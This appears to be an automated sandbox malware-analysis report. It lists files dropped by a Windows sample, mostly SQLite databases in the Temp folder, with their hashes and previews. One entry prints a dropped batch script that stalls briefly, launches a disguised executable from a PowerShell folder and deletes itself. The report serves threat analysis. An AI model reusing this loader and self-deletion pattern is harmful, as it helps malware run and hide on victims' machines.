SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pESnCcNlNN.bat

Download File

Process:	C:\Users\user\Desktop\aW6kSsgdvv.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	258
Entropy (8bit):	5.326815956385135
Encrypted:	false
SSDEEP:	6:hCijTg3Nou1SV+DEiYAFL/awPDbKOZG1wkn23f/vrG:HTg9uYDEiYA5bffzG
MD5:	DEC0122DFF18AD9538D10416D48F5AF4
SHA1:	E4EEB7B47A085F2AA92DBFA6083A442A7F0870B0
SHA-256:	DFA7487355D58F70865280F936E100BB8E1C692586436A301C1404B2B3E1981A
SHA-512:	CA15631F7C50D5ABCA1E79DF10DDEAC2D955A4135F3A1E19686BF6A7B6E4A8E5EF962B836C89AD9524E2751346AB2FDBB5791790973290959E180C53EE66B71C
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100%
Preview:	@echo off..chcp 65001..w32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 > nul..start "" "C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe"..del /a /q /f "C:\Users\user\AppData\Local\Temp\\pESnCcNlNN.bat"

C:\Users\user\AppData\Local\Temp\pSyjwnAidM

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pZDiOaFU38

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5712781801655107
Encrypted:	false
SSDEEP:	12:TLVNFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TL1F1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	05A60B4620923FD5D53B9204391452AF
SHA1:	DC12F90925033F25C70A720E01D5F8666D0B46E4
SHA-256:	6F1CA729609806AF88218D0A35C3B9E34252900341A0E15D71F7F9199E422E13
SHA-512:	068A954C0C7A68E603D72032A447E7652B1E9CED5522562FBCBD9EC0A5D2D943701100049FA0A750E71C4D3D84210B48D10855E7CC60919E04ED884983D3C3D6
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pxH0J8EBas

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\pxRpG15Wht

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qBPZjKM9Gf

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qDdIwnZha0

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qO5t9Xy54D

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\qoGkxJFj0f

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\r2E0zxKLoE

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\r36nSwC1DU

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rUkXC1XJ3a

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rbO1Tk6I0H

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\rgjVKxC7cS

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sLrfSJjcSV

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sNPg81ANBg

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\sWksvJIecg

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.1358696453229276
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c5/w4:MnlyfnGtxnfVuSVumEH544
MD5:	28591AA4E12D1C4FC761BE7C0A468622
SHA1:	BC4968A84C19377D05A8BB3F208FBFAC49F4820B
SHA-256:	51624D124EFA3EE31EF43CB3D9ECFE98254D629957063747F4CA7061543B14B9
SHA-512:	5DDC8C36538AB1415637B2FF6C35AED3A94639A0C2B0A36E256A1C4477AA5A356813D1368913BA3B6E8B770625CDCB94EE7BFC17FD7D324982CFE3BDEC2D32EB
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\u7CgNq43mT

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\uCjrmpmirT

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\ufJfM6LvWK

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\v7UafwtNI7

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vZ9153Vsx0

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 11, database pages 7, cookie 0x3, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	28672
Entropy (8bit):	2.5793180405395284
Encrypted:	false
SSDEEP:	96:/xealJiylsMjLslk5nYPphZEhcR2hO2mOeVgN8tmKqWkh3qzRk4PeOhZ3hcR1hOI:/xGZR8wbtxq5uWRHKloIN7YItnb6Ggz
MD5:	41EA9A4112F057AE6BA17E2838AEAC26
SHA1:	F2B389103BFD1A1A050C4857A995B09FEAFE8903
SHA-256:	CE84656EAEFC842355D668E7141F84383D3A0C819AE01B26A04F9021EF0AC9DB
SHA-512:	29E848AD16D458F81D8C4F4E288094B4CFC103AD99B4511ED1A4846542F9128736A87AAC5F4BFFBEFE7DF99A05EB230911EDCE99FEE3877DEC130C2781962103
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vmpNeiqJ39

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 2, database pages 56, cookie 0x24, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	114688
Entropy (8bit):	0.9746603542602881
Encrypted:	false
SSDEEP:	192:CwbUJ6IH9xhomnGCTjHbRjCLqtzKWJaW:CfJ6a9xpnQLqtzKWJn
MD5:	780853CDDEAEE8DE70F28A4B255A600B
SHA1:	AD7A5DA33F7AD12946153C497E990720B09005ED
SHA-256:	1055FF62DE3DEA7645C732583242ADF4164BDCFB9DD37D9B35BBB9510D59B0A3
SHA-512:	E422863112084BB8D11C682482E780CD63C2F20C8E3A93ED3B9EFD1B04D53EB5D3C8081851CA89B74D66F3D9AB48EB5F6C74550484F46E7C6E460A8250C9B1D8
Malicious:	false
Preview:	SQLite format 3......@ .......8...........$......................................................O}...........4........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\vx6En2uJCZ

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3039003, file counter 3, database pages 5, cookie 0x3, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.5707520969659783
Encrypted:	false
SSDEEP:	12:TLVlFVP89GkwtwhuFdbXGwvfhowcFOaOmzdOtssh+bgc4Jp+FxOUwa5q0S9zXhZn:TLxF1kwNbXYFpFNYcw+6UwcQVXH5fB
MD5:	9F6D153D934BCC50E8BC57E7014B201A
SHA1:	50B3F813A1A8186DE3F6E9791EC41D95A8DC205D
SHA-256:	2A7FC7F64938AD07F7249EC0BED6F48BC5302EA84FE9E61E276436EA942BA230
SHA-512:	B8CA2DCB8D62A0B2ED8795C3F67E4698F3BCB208C26FBD8BA9FD4DA82269E6DE9C5759F27F28DC108677DDEBBAC96D60C4ED2E64C90D51DB5B0F70331185B33F
Malicious:	false
Preview:	SQLite format 3......@ .........................................................................._..........g...$......................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\wAhX69mnhd

Download File

Process:	C:\Program Files\WindowsPowerShell\Configuration\IVZOsmCYXrNLQFseWyMXmbGFywtSr.exe
File Type:	SQLite 3.x database, last written using SQLite version 3035005, page size 2048, file counter 1, database pages 24, cookie 0xe, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	49152
Entropy (8bit):	0.8180424350137764
Encrypted:	false
SSDEEP:	96:uRMKLyeymwxCn8MZyFlSynlbiXyKwt8hG:uRkxGOXnlbibhG
MD5:	349E6EB110E34A08924D92F6B334801D
SHA1:	BDFB289DAFF51890CC71697B6322AA4B35EC9169
SHA-256:	C9FD7BE4579E4AA942E8C2B44AB10115FA6C2FE6AFD0C584865413D9D53F3B2A
SHA-512:	2A635B815A5E117EA181EE79305EE1BAF591459427ACC5210D8C6C7E447BE3513EAD871C605EB3D32E4AB4111B2A335F26520D0EF8C1245A4AF44E1FAEC44574
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................O}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

